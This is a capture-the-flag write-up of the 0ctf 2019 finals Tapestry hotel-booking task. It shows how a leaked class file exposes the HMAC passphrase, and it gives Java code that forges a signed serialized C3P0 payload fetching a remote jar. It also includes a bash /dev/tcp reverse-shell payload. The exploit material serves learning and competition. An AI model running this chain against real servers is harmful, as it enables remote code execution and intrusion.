---
# System prepended metadata

title: 0ctf 2019 final writeup

---

# 0ctf 2019 final writeup

## tapestry5-hotel-booking

[CVE-2014-1972](https://issues.apache.org/jira/browse/TAP5-2008) is vulnerable to RCE.

It vulnerable now although patched.

It just add `verify logic` with **HMAC_SHA1**.

Commit Log:
- https://github.com/apache/tapestry-5/commit/95846b173d83c2eb42db75dae3e7d5e13a633946

It is possible unserialize attack if you can know HMAC_PASSPHRASE.

```java
 public static void configureTapestryHotelBooking(
            MappedConfiguration<String, String> configuration)
    {
      ...
        // Generate a random HMAC key for form signing (not cluster safe).
        // Normally it would be better to use a fixed password-like string, but
        // we can't because this file is published as open source software.
        configuration.add(SymbolConstants.HMAC_PASSPHRASE,
            new BigInteger(130, new SecureRandom()).toString(32));
        ...
    }
```

Apache Tapestry disclose class file.

- http://tapestry.apache.org/assets.html#Assets-AssetSecurity

So, if you know file tree, then you can leak HMAC_PASSPHRASE.

- http://[URI]/assets/app/services/AppModule.class

**HMAC_PASSPHRASE** : TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)

When i search data, parameter `t:formdata` is transferred to server as HMAC Data.

Therefore change HMAC data, we can execute arbitrary command.

Java Code as serialized C3P0:
```java
// cat test.java
...
// lots of import.
...
public class test{
    public static void main(String[] args){
        String passphrase = "TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)";
        Key hmacKey = new SecretKeySpec(passphrase.getBytes("UTF8"), "HmacSHA1");

        Base64OutputStream base64OutputStream = new Base64OutputStream();
        MacOutputStream macOutputStream = MacOutputStream.streamFor(hmacKey);
        final BufferedOutputStream pipeline = new BufferedOutputStream(new GZIPOutputStream(
            new TeeOutputStream(macOutputStream, base64OutputStream)));

        OutputStream guard = new OutputStream()
        {
        ...
        };
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(guard);
        objectOutputStream.writeUTF("a");
        objectOutputStream.writeBoolean(false);
        ObjectPayload c3p0 = new C3P0();
        objectOutputStream.writeObject(c3p0.getObject("http://[MY_SERVER]/exploit.jar:exploit"));
        objectOutputStream.close();
        System.out.printf(macOutputStream.getResult()+":"+base64OutputStream.toBase64());
    }
    ...
}
// javac -cp somelibrary1.jar:somlibrary2.jar test.java
// java -cp somelibrary1.jar:somlibrary2.jar test
blahblah:blahblah~
```


Java Reverse Shell:
```java=
// cat exploit.java
public class exploit{
    public exploit(){
        try{
            Runtime.getRuntime().exec("bash -c {echo,[Payload]}|{base64,-d}|{bash,-i}");
        }catch(Exception e){
        
        }
    }
}
// javac exploit.java
// jar -cvf exploit.jar exploit.class
```
[Payload] : bash -i >& /dev/tcp/IP/PORT 0>&1

Change `t:formdata` data as serialized object data to `C3P0`.

Last, you can get Shell :).

![](https://i.imgur.com/p6utErv.png)
